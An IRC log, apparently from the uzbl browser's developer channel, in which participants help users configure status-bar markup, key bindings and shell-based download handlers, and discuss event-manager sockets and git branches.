15:48 < Dieterbe> bct: it will just give a whitescreen when you try to load a page without a valid cert. with the experimental branch you might get a LOAD_ERROR event
15:48 < bct> ah, cool.
15:53 < axionix> only gripe i have about experimental so far is the aforementioned stack binds not working
15:53 < Dieterbe> hmh?
15:53 < axionix> seems good other than that
15:53 < Dieterbe> what doesn't work?
15:53 < axionix> @bind <Ctrl>b<bookmark:>u
15:53 < axionix> that works
15:53 < axionix> but
15:54 < axionix> but  @bind <Ctrl>b<bookmark:>uzbl doesnt
15:54 < axionix> can only be 1 character
15:54 < mason-l> axionix, I'll have a look soon and get back to you.
15:54 < axionix> yeah thanks mason-l
15:54 < axionix> i spoke with him earlier...hes looking into it
15:55 < axionix> but thats the only problem i have at all
15:55 < axionix> everything else works nice
15:55 < Dieterbe> oh i see
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15:58 < mason-l> rob__, Have you considered using a table instead of hbox?
15:58 < mason-l> I've never used a gtk table before but it can hold other objects cant it?
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16:18 < axionix> (uzbl-core:19257): Gtk-WARNING **: Ran out of links
16:18 < axionix> is that normal everytime you type a command?
16:19 < Dieterbe> nope. but noone knows where it's coming from
16:19 < Dieterbe> and doesn't seem too bad :)
16:19 < axionix> :)
16:33 < rob__> mason-l: i don't think a table would help here. the gtk guys suggested to write a custom widget
16:33 < mason-l> rob__, Do you know how to do that :)
16:33 < rob__> not yet ;)
16:35 < rob__> also i don't think that's worth the effort
16:35 < keis> add another webkit view and draw the statusbar with a xsltengine written in javascript
16:35 < rob__> yeah, this has been discussed already
16:35 < axionix> say, what is the point of @status_section when we have @progress_section?
16:36 < keis> rly? i was only joking...
16:37 < bct> using xslt would be kind of silly, but an html status bar might not be terrible (depending how much overhead another view introduces)
16:37 < rob__> keis: well, being able to use html in the statusbar would certainly solve a couple of issue
16:38 < keis> yeah I guess, but imo its working alright now
16:40 < keis> or use GtkBuilder to build the statusbar
16:40 < rob__> axionix: the status section holds @status_message, which is pretty much obsolete now because you can trnasparently use any uzbl var in the statusbar
16:41 < axionix> i see
16:42 < mason-l> rob__, Did the gtk guys give any hints as to how easy it is to write our own label widget?
16:43 < rob__> no :(
16:43 < Dieterbe> rob__: mason-l is it really worth it to go that far? do you really need the alignment stuff that hard?
16:43 < keis> GObject is a bitch, a few hundred lines of boilerplate
16:44 < rob__> Dieterbe: well, it would certainly be nice to have, though i guess it's not worth the effort
16:45 < mason-l> I tried a gtk table example in some python and barely managed to replicate the gtk label attempt.
16:45 < keis> I saw you talking about using a three labels, what was wrong with that?
16:45 < mason-l> keis, You can't auto-balance and ellipsize at the same time.
16:46 < axionix> can someone tell me how to change the color of the black brackets around [tags: test]? http://omploader.org/vMm9oeA
16:46 < Dieterbe> rob__: maybe it would make more sense to bug the pango guys to support algnment tags in their language ;)
16:46 < mason-l> axionix, Just change the span style around them.
16:48 < mason-l> axionix, Actually you need another span tag around the entire keycmd_section.
16:48 < rob__> Dieterbe: yeah, shifting the the work to someone else seems like a good idea ;)
16:49 < axionix> mason-l: i tried that but as soon as i enter Bnd mode it changes the color of the left one even after i exit the mode
16:49 < Dieterbe> rob__: but also, maybe it would make more sense for their language to support it
16:49 < rob__> certainly!
16:49 < mason-l> axionix, Can you pastebin the part you tried to change?
16:50 < axionix> http://pastebin.com/f486f8b69
16:52 < mason-l> axionix, Fixed http://pastebin.com/d19d13252
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16:54 < mason-l> axionix, Actually this is how you should have done it: http://pastebin.com/d5913d9a1
16:56 < axionix> i wanted it to be prompt_style
16:56 < mason-l> rob__, I probably have a solution for us.
16:57 < mason-l> axionix, Ok, then make sure that when you go back into command or insert mode the prompt_style is changed accordingly.
16:57 < axionix> and that changes the color of the status too
16:57 < axionix> tags is changed
17:00 < rob__> mason-l: ok?
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17:02  * Dieterbe is curious aswell
17:02 < mason-l> rob__, Actually on second thoughts, it would be a real mindfuck to work with.
17:02 < rob__> hehe
17:03 < Dieterbe> tell us nonetheless
17:03 < Dieterbe> pleaaase :)
17:05 < mason-l> I was going to suggest getting the size of the status_format and the window size like this http://github.com/mason-larobina/uzbl/blob/experimental/examples/data/uzbl/scripts/uzbl_tabbed.py#L1246 the manually ellipsizing or expanding a status_left and status_right until they both fit in the one gtk label.
17:05 < mason-l> But ellipsizing gets hard when dealing with <span ..>'s
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17:07 < mason-l> Actually it wouldn't be too hard to write a manual ellipsizer.
17:08 < mason-l> I might write a proof-of-concept.
17:09 < mason-l> But I've got work tomorrow so I need my sleep.
17:09 < Dieterbe> i would stick to the "either we implement it in a clean way, or we don't (and we wait until it's supported in a clean way)
17:09 < mason-l> Dieterbe, It would be clean :)
17:09 < rob__> mason-l: don't forget we update the statusbar on each var change, so that would need to be quite performant
17:10 < Dieterbe> support for <align> in the pango language would be cleaner
17:10 < mason-l> Dieterbe, But how long would it take for that to make it down the stream.
17:10 < Dieterbe> only one way to find out
17:11 < mason-l> Are they even open to those kind of suggestions?
17:11 < Dieterbe> also, only 1 way to find out ;)
17:12 < mason-l> How would they cope with an <align> tag though? Imagine: '<span align="right">something</span> <span align="left">something</span>'
17:13 < mason-l> tag/attribute.
17:13 < Dieterbe> i guess they wouldn't need to support that if they don't want to
17:13 < Dieterbe> i mean the "interleaving"
17:15 < mason-l> Anyway, brb sleep & work.
17:16 < Dieterbe> seeya
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17:20 < axionix> can i specify a font size with <span> ?
17:20 < Dieterbe> google for pango markup format to see all features
17:20 < axionix> ok
17:29 < rob__> axionix: font="11" or font="DejaVu 14"
17:30 < axionix> rob__: i looked at the pango page and it says to use font_size or size
17:31 < axionix> guess theres more than a few ways
17:31 < rob__> well, that didn't work for me
17:31 < axionix> works here
17:31 < rob__> ah, ok
17:31 < axionix> thanks...now id just like selected URL to have brackets around it....only when its shown
17:32 < axionix> i dont think thats possible though
17:32 < axionix> right now i have empty brackets until something is hovered
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17:52 < rob__> axionix: no without using a script that checks wether @SELECTED_URI is empty
17:52 < rob__> *not
17:54 < rob__> should be pretty easy to write one using: set myvar = @<js returning a string based on uzbl var@>
17:54 < rob__> or even a shell/whatever script using @( ... )@
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18:25 < rob__> axionix: you should be really using JS, but here is an example:   set status_format = ...  \@(sh -c 'S="\@SELECTED_URI"; if [ "$S" ]; then echo "[$S]"; else echo ""; fi')\@ ...
18:25 < rob__> you get the trick..
18:32 < axionix> i have nightmares of js from college
18:32 < axionix> hehe
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18:42 < rob__> well, JS isn't really that bad
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18:45 < axionix> how would i do it with js? that shell looks messy as hell
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18:45 < axionix> just wanna see how much better js would be
18:49 < rob__> just:  set status_format = ... \@< js here >\@ ...
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18:49 < rob__> you can get the values of uzbl vars from js with: set myvar = Uzbl.Run("print @uzbl_var")
18:50 < rob__> you  need to quote the @ in there if you put it directly into your config
18:50 < rob__> i.e. \@uzbl_var
18:51 < axionix> ok
18:55 < axionix> sweet i got it
18:58 < rob__> nice, how did you do it?
18:59 < axionix> well not done yet...just used sh
18:59 < rob__> ah, isn't that slooooow?
18:59 < axionix> not at all
19:00 < axionix> damn i just realized one of my frequented sites still doesnt work with experimental
19:02 < axionix> any clue why downloaded files have the right data, but wrong filename?
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19:02 < axionix> filenames are ?var=val&var=val
19:02 < axionix> just this one site it seems
19:03 < rob__> yeah, due to content-disposition
19:03 < rob__> iirc wget has an option to turn that on
19:03 < axionix> hmm, dont even know what i'd look for. wget manpage is huge
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19:04 < rob__> well for content-disposion of course ;)
19:04 < rob__> *disposition
19:05  * axionix smacks self
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19:10 < axionix> rob__: nope, that wasnt the problem
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19:15 < axionix> tried content-disposition, no proxy, no cookie handler...i'm out of ideas
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19:17 < bct> curl -v <url> | grep <expected filename> ? find out how it's being sent.
19:19 < axionix> bct: it doesnt have a url when i hover it
19:19 < axionix> must be javascript
19:26 < axionix> if anyone can help the site in question is newzleech.com
19:28 < axionix> the download link is a form post
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19:29 < bct> which one? the Get NZB button?
19:29 < axionix> it generates the file server-side
19:29 < axionix> yes
19:29 < axionix> elinks downloads the correct filename
19:29 < axionix> so does anything except uzbl
19:30 < bct> it is getting the right data though?
19:30 < axionix> yes
19:30 < bct> that's odd, because uzbl has no way to tell wget what to POST
19:31 < axionix> but i have to manually rename them all for hellanzb to detect them by extension
19:31 < axionix> yeah i had a couple bad data error's though
19:31 < axionix> i think its related
19:34 < bct> well, the filename is being sent in the Content-Type header and the Content-Disposition header
19:35 < axionix> i did enable content-disposition in wget
19:36 < bct> if you only care about the extension, you could make your download handler rename anything coming from newzleech.com
19:37 < axionix> well i care about the name too, so i know what is done, etc
19:37 < axionix> ive been using elinks for months trying to find a fix
19:37 < rob__> you've done something wrong then, wget can handle those headers
19:38 < bct> i suspect it's related to the fact that it's a POST.
19:38 < axionix> i am using the dzen2 stacking download script and i appended --content-disposition to the parameters of wget
19:38 < rob__> bct: hmm, that might be it
19:39 < bct> i have a very ugly solution for that
19:39 < bct> unfortunately it's on my laptop so i can't share it for a few hours
19:40 < axionix> ok np
19:40 < axionix> that is seriously the only problem i really have with uzbl. ive seen 1 or 2 other sites do this too
19:41 < bct> you could also retrieve & parse the C-D header in your download handler
19:41 < bct> but then you're making at least 3 requests to download one file :/
19:42 < axionix> hmm nothing i know about
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19:44 < bct> filename=`curl -I <url> | grep Content-Disposition | sed 's/.*"\([^"]*\)".*/\1/'`
19:45 < axionix> huh?
19:46 < axionix> how do i get <url> and where do i put that?
19:46 < axionix> i dont care about multiple requests
19:46 < bct> <url> should be the url the handler is trying to download
19:47 < bct> $8 or $9, i don't remember which argument number it is
19:48 < bct> after that (if $filename is not empty) you can add -O $filename to wget's arguments
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19:51 < rob__> well, i proposed to parse the headers in core and if C-D is available make that an argument to DOWNLOAD_REQUESTED
19:52 < axionix> i'll try that thanks
19:52 < rob__> not sure about POST data, though
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19:52 < rob__> we might make that an argument, too
19:52 < bct> we don't have access to it :D
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19:52 < rob__> in the encoded form, that is
19:53 < rob__> to POST data?
19:53 < bct> as far as i can tell.
19:53 < bct> i've spent quite a bit of time looking.
19:53 < rob__> i bet libsoup has something for this
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19:54 < bct> it does, but the soup objects we get in webkit's callbacks aren't filled in.
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19:55 < bct> i filed a bug about it that i can't find right now.
19:56 < rob__> iirc my bug request to this has been implemented lately, so at least the download callback has valid soup data
19:57 < rob__> ah, hehe me too ;)
19:57 < axionix> thanks guys....that worked great
19:58 < rob__> certainly not the most elegant method, though..
19:58 < bct> ah, https://bugs.webkit.org/show_bug.cgi?id=29667
19:59 < axionix> haha that page wont load
19:59 < axionix> well its finished, but all white
19:59 < bct> my "solution" right now is javascript that registers an onsubmit that saves the form data to an uzbl variable
19:59 < rob__> bct: yeah, check the webkit changelog, there has been some work done on that
19:59 < rob__> iirc
20:01 < rob__> axionix: which page? the one bct pasted?
20:02 < hickop> axionix: i bet its privoxy issue again
20:02 < axionix> yeah found out its privoxy...doesnt let me visit any https
20:02 < hickop> hehe
20:03 < rob__> ah, ok
20:04 < rob__> a midori dev started to implemet a adblock filter comaptible library for webkit but the lack of DOM access put him back iirc
20:05 < rob__> let's wait for the hackfest and see how things will progress..
20:06 < rob__> i hope to be able to generate uzbl events from DOM events signals/events then
20:06 < rob__> so you can not only hook JS but any language to them
20:08 < axionix> http://pastebin.com/ff8619c3 is that going to work? i have no clue what the first part does
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20:09 < rob__> you mean the "sed -r" part?
20:10 < rob__> well it just "decodes" the chars back to ascii
20:10 < axionix> yeah, is it possible for FILE to be empty after that?
20:10 < bct> i don't think so.
20:10 < axionix> will it ever get to the conditional?
20:10 < axionix> damn
20:10 < axionix> what would you do then?
20:11 < bct> swap the two FILE= lines?
20:12 < bct> the Content-Disposition one will be empty a lot of the time, it makes sense to have the other one as a fallback.
20:12 < axionix> ok
20:12 < bct> do you even need the big long translation, or will wget do it when it's figuring out a filename?
20:13 < axionix> well its part of download.sh so i'm assuming youdo
20:14 < bct> ah.
20:15 < axionix> bct: it doesnt work swapped
20:16 < axionix> i mean filenames are bad again
20:16 < bct> rob__, what do you think of letting webkit perform the actual download and then piping the data to an external handler as it arrives?
20:17 < bct> i don't like making 2 requests for 1 file.
20:17 < axionix> lol...now only the post downloads work
20:17 < rob__> hmm, so we would popen the handler?
20:18 < axionix> i cant download regular files (no filename)
20:18 < bct> yeah.
20:18 < rob__> well, i was hoping to get rid of such kind of handlers
20:19 < bct> oh yeah, i guess it would be another special case
20:19 < rob__> right
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20:20 < bct> right now do we abort the original request when it gets handed off to the handler?
20:20 < bct> or is it actually fully downloaded twice?
20:21 < rob__> no, it's only passed to the handler
20:22 < axionix> well, i set it up to check for certain domain names. probably not the best way but everything works now
20:24 < hickop> http://pastebin.com/m6abb4a65 : the download.sh i use , it works pretty well
20:26 < axionix> hickop: does it work for the above scenario?
20:27 < axionix> i dont see you extracting the filename from the C-D header
20:27 < bct> that's what his filename= line does
20:27 < axionix> hmm i dont see no Content-Disposition
20:28 < bct> in theory the filename= attribute is on a Content-Disposition header
20:28 < bct> might be on a different header too/instead though
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20:43 < axionix> hickop: that didnt help
20:43 < axionix> works for post, but not for normal
20:43 < hickop> link ?
20:43 < axionix> i am doing something wrong
20:44 < axionix> http://pastebin.com/f7ab4f0af
20:44 < rob__> <evmar> linux chrome would adopt any sane tabbing api exposed by a wm
20:44 < rob__> <evmar> we have a bug on it
20:44 < rob__> <evmar> half the team uses tiling wms already, so the tab strip is pretty redundant
20:44 < rob__> ;)
20:45 < axionix> oh wow i see the problem right after i pasted it
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20:46 < axionix> hmm guess not
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20:49 < hickop> axionix: well i see nothing wrong , only --user-agent=Firefox at line 121
20:50 < hickop> its not downloading normal at all , or the filename is wrong ?
20:50 < axionix> hickop: it works with the POST downloads. i tried downloading an archlinux iso and it just echos that the file finished to $DIR/
20:50 < axionix> (no filename)
20:51 < axionix> filename for POST, none for regular
20:52 < axionix> it tries to download a blank file with that second 'else'
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21:00 < axionix> same problem as with bct's sed...i need to make a condition otherwise it nulls regular filename
21:00 < axionix> kinda ugly having domains checked though
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21:48 < axionix> well, finally got it
21:48 < axionix> thanks for the help everyone. my uzbl is finally set up after a day's work :)
21:49 < axionix> i do get a lot of these in my log though. not sure if it's normal or not: (uzbl-core:10352): Gtk-WARNING **: Failed to set text from markup due to error parsing markup: Error on line 1: Entity did not end with a semicolon; most likely you used an ampersand character without intending to start an entity - escape ampersand as &amp;
21:50 < rob__> no, it's not normal
21:50 < rob__> you got an error in the pango markup
21:50 < bct> you need to put @[]@ around anything that might contain an &
21:50 < rob__> ich sipp ein augustiner hell :)
21:50 < rob__> err
21:50 < axionix> hmmm
21:51 < bct> e.g. urls, page title
21:51 < bct> keycmd
21:51 < axionix> seems like i do
21:52 < bct> paste your status bar format?
21:52 < axionix> http://pastebin.com/ff7e322a
21:54 < rob__> axionix: probably my shell @(..)@ change it to   echo "[\@[$S]\@]"
21:54 < bct> yup, in selected_section.
21:55 < axionix> still getting them
21:55 < bct> and i'm guessing in keycmd_section around \@modcmd and \@keycmd too (but if you can type &s and <s without trouble then i guess it's not necessary)
21:56 < rob__> then enclose @selected_section in status_format in \@[]\@
21:57 < bct> that will escape the <span/> in @selected_section.
21:57 < axionix> seems to be worse now
21:57 < rob__> hrrm
21:58 < axionix> (uzbl-core:13488): Gtk-WARNING **: Failed to set text from markup due to error parsing markup: Error on line 1 char 524: Invalid UTF-8 encoded text in name - not valid '(sh -c 'S=""; if [ "$S" ]; then echo "[$SA\xb6\xb8\xb3A\xb6H]"; else echo ""; fi')]e=E      \u0001'
22:00 < rob__> hmm, adding those to echo should work, though
22:01 < rob__> strange
22:01 < axionix> i just commented everything out except selected_section and it works fine
22:01 < axionix> so its not that one
22:02 < rob__> do the same with the other ones, can't see what's wrong
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22:05 < axionix> rob__: nvm...its selected_section but i'm not sure whats wrong
22:06 < bct> try putting the \@[ ]\@ around the \@( )\@
22:06 < axionix> i must be doing something wrong...i cant get uzbl to run at all by doing that
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22:08 < rob__> no, that won't work
22:08 < bct> why not? @[]@ expands recursively like the others
22:09 < rob__> but    echo "[\@[$S]\@]"   should work
22:10 < axionix> that works
22:10 < bct> it should, yeah. and those are some pretty freaky characters that appeared in that error message
22:10 < axionix> still warnings though
22:11 < rob__> odd
22:11 < axionix> maybe i just didnt follow directions good: http://pastebin.com/f17b294c7
22:12 < rob__> bct: right, @[]@ will also expand @()@ inside it, i didn't write that one so i supposed it worked like @()@ and @<>@
22:13 < bct> right, i wrote it :)
22:13 < rob__> axionix: oh, you don't need @[]@ in both places
22:13 < rob__> bct: hehe ;)
22:13 < bct> axionix, the one you just posted should just be displaying (sh -c ... in your status bar.
22:14 < bct> you need \@[\@(
22:14 < bct> but that doesn't explain why you're still getting warnings
22:16 < axionix> well if i go back to my original pastebin, it doesnt display warnings when i start uzbl
22:16 < axionix> but if i go to certain webpages it does
22:17 < axionix> with your modifications it shows them onstart
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22:17 < axionix> my startup url is google.com btw
22:18 < bct> dunno, sorry.
22:18 < bct> don't worry about it unless you notice parts of your status bar getting cut off
22:19 < axionix> ok, i'll just go back to no inline sh -c
22:19 < axionix> i dont need the tiny change it does
22:20 < bct> i think you can skip the else echo "" too.
22:20 < axionix> its gone now
22:20 < bct> you can probably just do ["\@..."] && echo "\@..."
22:21 < rob__> that's really strange. could you try just   \@(echo "[\@[\SELECTED_URI]\@]")\@  in your selection_section?
22:21 < rob__> err
22:21 < rob__> that's really strange. could you try just   \@(echo "[\@[\@SELECTED_URI]\@]")\@  in your selection_section?
22:21 < axionix> do i need sh -c?
22:22 < rob__> no, just what i pasted above
22:22 < rob__> or give me the link that causing the errors
22:22 < rob__> *that's
22:22 < axionix> works without warnings
22:23 < rob__> ok, so should the sh -c thing
22:23 < axionix> i've just been going to news.google.com and clicking on a random link...warnings everytime with code from before
22:23 < rob__> ... then echo "[\@[$S]\@]"; ...
22:23 < rob__> without the outer @[]@
22:24 < bct> won't that get expanded before the @()@ is run?
22:25 < rob__> i don't get any warnings on that site
22:27 < rob__> bct: it will get expanded to @[[$S]]@
22:28 < rob__> bct: which is exactly what he needs in status_format
22:28 < rob__> erm, the other way around [@[$S]]@
22:28 < rob__> heh, well. you get it
22:28 < axionix> well this works...not what i want though
22:29 < axionix> http://pastebin.com/f1c482201
22:29 < bct> expand #1 starts parsing the @()@, calls itself
22:29 < bct> expand #2 expands the @[$S]@, turns it into $S and returns
22:30 < bct> expand #1 finishes parsing the @()@, calls sh -c ... $S ...
22:30 < bct> and nothing gets XML escaped?
22:30 < axionix> fixed it
22:31 < rob__> how?
22:31 < axionix> set selected_section  = <span foreground="#888">\@(sh -c 'S="\@[\@SELECTED_URI]\@"; if [ "$S" ]; then echo [\@[$S]\@]; fi')\@</span>
22:32 < bct> pretty sure you don't need the second set of @[]@. good on you though, that was harder than it needed to be :/
22:32 < rob__> hmm
22:32 < rob__> indeed :(
22:32 < axionix> i think i'll leave it like it is LOL
22:32 < axionix> call it a day
22:33 < axionix> you guys rock
22:33 < rob__> that's the price we need to pay for expanding commands initially..
22:33 < rob__> s/commands/lines/
22:34 < bct> yeah, it's a tough call. some things only need to be expanded once
22:34 < bct> even if we're not using variables to make aliases in the config file
22:35 < rob__> anyways, nice you got it to work axionix
22:37 < axionix> yep...and fyi it doesnt work without the 2nd set
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22:38 < bct> ... frowny face.
22:39 < bct> thanks for trying anyhow :P
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22:41 < axionix> 12 hours later i have a nice uzbl to work with now :) i dont even need to download with elinks now :D
22:41 < axionix> thanks again bct, rob__
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22:53 < rob__> axionix: sure thing
22:53 < rob__> axionix: hope you like experimental, though ;)
22:53 < axionix> i do :)
22:57 < axionix> besides this bug i found that mason-l is gonna look into everything is much better
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23:06 < rob__> very nice, that was the intention ;)
23:07 < rob__> everything sahll be much better :P
23:08 < axionix> anyone have problems with flash lately? i mean in any browser. i cant click a video to play it, or enter fullscreen...basically all the flash gui controls dont do anything
23:09 < axionix> i'm talking about youtube and google video primarily...havent tested others
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23:11 < axionix> and hulu...i guess its everywhere
23:14 < rob__> have occasionyl on google video when the actual flash thing is embeded in other sites
23:16 < axionix> not like that
23:16 < axionix> i mean no flash input is allowed at all
23:16 < rob__> oh, hmm
23:16 < axionix> seeking, clicking a link, etc
23:18 < rob__> odd. didn't experience anything like that though
23:18 < rob__> are you running the latest flash plugin?
23:19 < axionix> yeah
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23:31 < singpoly1a> In case anyone's interested, I have a simple userscript implementation for Uzbl http://github.com/singpolyma/singpolyma/blob/master/uzbl/data/scripts/userscript.sh
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23:35 < rob__> singpoly1a: oh, interesting
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23:37 < singpoly1a> I haven't implemented any JS apis or Greasemonkey compatability, it just injects a "script" command for the scripts whose @include/@exclude rules match the current page
23:38 < singpoly1a> I guess Uzbl-specific scripts could use the Uzbl object, but would be nice long-term to wrap that in something similar to the Greasemonkey APIs for compatability
23:39 < rob__> yeah, indeed. once our API stabilizes we should do this
23:39 < rob__> you should really put that (or at least a link to it) on the wiki
23:39 < singpoly1a> Sure thing
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00:07 < axionix> what's a good bookmark script?
00:15 < axionix> insert_bookmark is ugly, and load_url_from_bookmarks does show by tag afaik
00:15 < hickop> axionix: tried http://www.uzbl.org/wiki/keyword-bookmarks ?
00:16 < axionix> yes and it is very bad...
00:16 < axionix> freezes not only uzbl but xorg
00:16 < axionix> also exception errors in console
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00:18 < hickop> when does it freeze xorg ?
00:19 < axionix> only sometimes with o (loading a bookmark)
00:21 < hickop> with latest version ?
00:21 < axionix> i tried it yesterday with master branch
00:21 < hickop> http://github.com/vincentkriek/Scripts/blob/master/uzbl/keywordBm.py
00:21 < hickop> i use that one and i did not notice any freeze yet
00:22 < axionix> do you get exception errors in log at all?
00:22 < hickop> no
00:22 < axionix> weird
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08:50 < rob__> morning.
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09:09 < Dieterbe> morning dudes
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09:47 < urnthr> sup
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10:02 < Dieterbe> soup
10:04 < rob__> hrmm, i'm giving up on this alignment stuff. it's way to complex for what it provides (if you want to do it right)
10:04 < rob__> i.e. re-packing the widgets
10:04 < Dieterbe> do it right == add it to the pango language, imho
10:04 < rob__> yeah!
10:09 < rob__> well, reverted the patch
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10:49 < ertai> Hi all
10:49 < ertai> does anyone knows how to print something with uzbl
10:50 < ertai> ?
10:50 < rob__> in experimental just issue 'hardcopy'
10:50 < rob__> i.e. from within uzbl  :hardcopy
10:52 < Dieterbe> hmm is that documented?
10:53 < rob__> sure
10:54 < Dieterbe> oh. nice :P
10:56 < ruskie> what does it do just calls js print?
10:56 < rob__> no, it calls the gtk print dialog (using a webkit function)
10:56 < rob__> s/calls/opens/
10:56 < ruskie> well js print does that actually
10:56 < ruskie> bind    :export_   = sh 'echo "js window.print();" > "$4"'
10:57 < rob__> ok, then yes sort of ;)
10:57 < rob__> ruskie: no need for sh there
10:58 < rob__> bind foo_ = js window.print();
10:59 < ruskie> is there a way to get through a webkit function just the save as pdf/ps dialog? that the print dialog offers
11:00 < rob__> don't think so
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11:01 < rob__> oh, well maybe there is using webkit_web_frame_print_full ()
11:03 < rob__> GTK_PRINT_OPERATION_ACTION_EXPORT seems to do that
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11:14 < ertai> rob__: thanks
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11:48 < mason-l> Hey guys.
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11:52 < Dieterbe> hideliho masono
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12:40 < xyz`> http://www.uzbl.org/wiki/cpp-em I am bad at making pages on stuff
12:41 < rob__> oh, cool
12:43 < keis> any template magick in there?
12:43 < xyz`> nope
12:44 < keis> that's the only fun part of c++ :P
12:46 < rob__> hmm, i guess you missed to include a couple of heades
12:46 < keis> but nice work non the less
12:46 < rob__> *headers
12:48 < rob__> i'm getting a couple of errors re. functions like strcmp, atoi, ...
12:48 < keis> not warnings?
12:49 < rob__> nope, errors
12:49 < keis> in c and c++ you can use implicitly defined functions :S
12:49 < mason-l> xyz`, Do you have a git repo of your cpp em work?
12:49 < xyz`> I do not
12:49 < rob__> well, adding string.h to bind.h and stdlib.h to progress.cpp fixes it
12:52 < keis> sorry, looks like what I said is only true for C
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12:54 < Dieterbe> nice.  http://www.uzbl.org/wiki/_detail/uzbl_spiral.png?id=shots
12:55 < Dieterbe> people are posting really cool stuff on the wiki (and there's also a lot of outdated crap but yeah ;)
12:59 < ruskie> lol
13:00 < rob__> xyz`: is the binding syntax the same as with the python EM?
13:00 < xyz`> yea
13:01 < rob__> hmm
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13:02 < ruskie> nice
13:02 < rob__> and the EM creates the socket itself, right?
13:02 < xyz`> uh
13:02 < xyz`> it might
13:02 < rob__> well, it doesn't
13:03 < xyz`> it just sits there waiting till it exists
13:03 < rob__> hmm, so  "uzblem <socket>" which socket is that supposed to be?
13:04 < xyz`> the one uzbl-core makes
13:04 < rob__> uzbl's socket? i.e. does the em connect as a client?
13:04 < rob__> aaah, alright
13:04 < mason-l> xyz`, So the cpp-em can only handle one instance at a time?
13:05 < xyz`> yea
13:05 < rob__> xyz`:  cause the python EM makes use of '--connect-socket' which basically expects that the EM creates a listening sockets and accpet()s connections from core(s)
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13:10 < rob__> xyz`: would be nice  if you could change your EM so that is works like that
13:10 < xyz`> uh
13:10 < xyz`> care to explain how?
13:10 < rob__> i.e. create its own socket and accept connections on it
13:11 < mason-l> xyz`, Essentially the EM is a uzbl-core server.
13:11 < rob__> yeah
13:12 < rob__> so it doesn't connect() to a socket but rather listen()s and accept()s on an own socket that it creates on startup
13:12 < rob__> uzbl-core will attach to that socket using  --connect-socket <emsocket>
13:13 < rob__> hope that was clear
13:14 < xyz`> is --connect-socket new cause my uzbl-core doesnt seem to recognize it
13:15 < rob__> well, not that new. we have since 2 weeks or so
13:17 < xyz`> hm
13:17 < xyz`> not working
13:17 < rob__> for testing purposes you can use socat:  "socat unix-listen:/path/to/socketfile"   and  "uzbl-core --connect-socket /path/to/socketfile"
13:17 < xyz`> in a it seems to think --connect-socket is a url kind of way
13:18 < rob__> yeah, you probably need to 'git pull'
13:24 < axionix> what part of uzbl is the stacked bindings code in?
13:25 < keis> in the em
13:25 < axionix> ooooh, so it's py?
13:25 < rob__> right
13:25 < axionix> good, i'm gonna have a try at fixing it
13:26 < keis> yeah, unless you use another em which may not have the stacked at all
13:26 < keis> speaking of stacked bindings, I have a patch I think is ready to be pulled
13:26 < axionix> what's it do?
13:27 < keis> it can put text as keycmd when entering a stacked binding
13:28 < axionix> ah
13:30 < keis> rob, mason: would you take a look, or should I make a pull request on the list?
13:30 < rob__> well, i'd propose to ask mason to have a look
13:31 < rob__> when he gives his ok i'll be happy to pull in
13:31 < axionix> damn, anyone have a problem with uzbl not being able to delete a github repo? it just resets the page scroll poisition when i click delete
13:32 < keis> kk
13:32 < keis> mason-l: there?
13:34 < mason-l> keis, Yeah.
13:35 < mason-l> keis, Oh yeah, your prompt text patch.
13:35 < mason-l> I mean value patch.
13:35 < keis> yeah
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13:37 < axionix> hmmm github dashboard never finishes loading in uzbl. had to get firefox to delete my uzbl fork
13:37 < lich> any reason why latest experimental goes into daemon mode then exits? is that default or it crashes for me for some reason?
13:37 < keis> was going to fix the "-parsing, but I think it's good enough anyway
13:37 < mason-l> lich, Are you talking about the EM?
13:37 < lich> mason-l: yeah
13:38 < lich> first time I tried experimental, s'why I'm asking
13:38 < lich> updated libwebkit like an idiot and now old uzbl crashes..
13:38 < mason-l> lich, uzbl-browser now passes an option '--auto-close' which makes the EM exit after all connected clients are closed.
13:38 < lich> so I said I'd try this
13:38 < Dieterbe> mason-l: any eta on uzbl_tabbed?
13:39 < mason-l> Dieterbe, I'll just make the old script work and save the improved uzbl_tabbed for the next release.
13:40 < Dieterbe> sounds like a plan
13:40 < lich> good one too, but what is the problem here?
13:41 < lich> was the new one released yet? if I pull git it's this new one? or the old one before the event stuff
13:42 < mason-l> lich, Who are you talking to?
13:42 < lich> anyone that's willing to help.
13:42 < lich> I want a working uzbl like..now :)
13:42 < mason-l> lich, And what about, and whats the problem?
13:42 < lich> didn't I just say? it blurts a bit of text about the event manager then exits
13:42 < lich> says it starts in daemon mode and the exits
13:43 < lich> it's a clean install of -experimental
13:43 < Fatal> autodaemonizing?
13:43 < mason-l> lich, lol.
13:43 < axionix> stupid question:how do i fork a branch? my fork only has master locally it seems
13:43 < mason-l> lich, If you want to see event manager output you need to tell it not to daemonise with the following: event_manager.py -nv restart
13:44 < mason-l> event_manager.py should be in your path.
13:44 < Dieterbe> axionix: what does 'git branch -a' say?
13:44 < lich> mason-l: I don't want any output, I just want an uzbl window. neither uzbl-browser nor uzbl-core gives me that with a clean install
13:44 < mason-l> lich, Did you git clone?
13:44 < axionix> dieterbe: hmm it lists them all, but i'm not able to switch with checkout
13:44 < lich> nah, used yaourt under arch
13:45 < Dieterbe> lich: didn't you say a few minutes ago you installed the libwebkit that segfaults?
13:45 < lich> Dieterbe: I did, but now I get no errors about libwebkit. it segfaults the old uzbl. I was still using the one prior to the event manager stuff
13:45 < lich> removed that, installed -experimental, and it just exits, no segfault
13:46 < Dieterbe> axionix: you need to be more specific if you want help
13:46 < Dieterbe> axionix: sprunge.us is your friend
13:46 < axionix> dieterbe: with my repositories, i can do: "git checkout branchname" to switch. how do i switch to experimental with a forked repo?
13:47 < mason-l> lich, (1) git clone git://github.com/Dieterbe/uzbl.git (2) cd uzbl (3) git checkout origin/experimental (4) make test-dev-browser
13:47 < lich> cheers
13:47 < mason-l> lich, Then tell me if it works.
13:47 < mason-l> Thats not installing anything though.
13:47 < axionix> thanks mason
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13:47 < Dieterbe> axionix: are you using github?
13:47 < rob|> re
13:48 < axionix> dieterbe: yes
13:48 < Dieterbe> axionix: then fork me on github, then clone your own clone from your github account and you should have all branches
13:48 < axionix> dieterbe: i did that
13:48 < axionix> i do not
13:48 < Dieterbe> github.com has a great guides page btw
13:48 < Dieterbe> so what output do you get when you type 'git checkout experimental'
13:49 < axionix> axion@axlap uzbl> git checkout experimental
13:49 < axionix> error: pathspec 'experimental' did not match any file(s) known to git.
13:49 < rob|> axionix: origin/experimental
13:49 < axionix> same error
13:49 < lich> mason-l: did that, blurred out a lot of stuff config related I'm betting, but errored and exited. recent tarceback was something related to UTF-8
13:49 < rob|> then upstream/experimental
13:50 < mason-l> lich, Pastebin the output
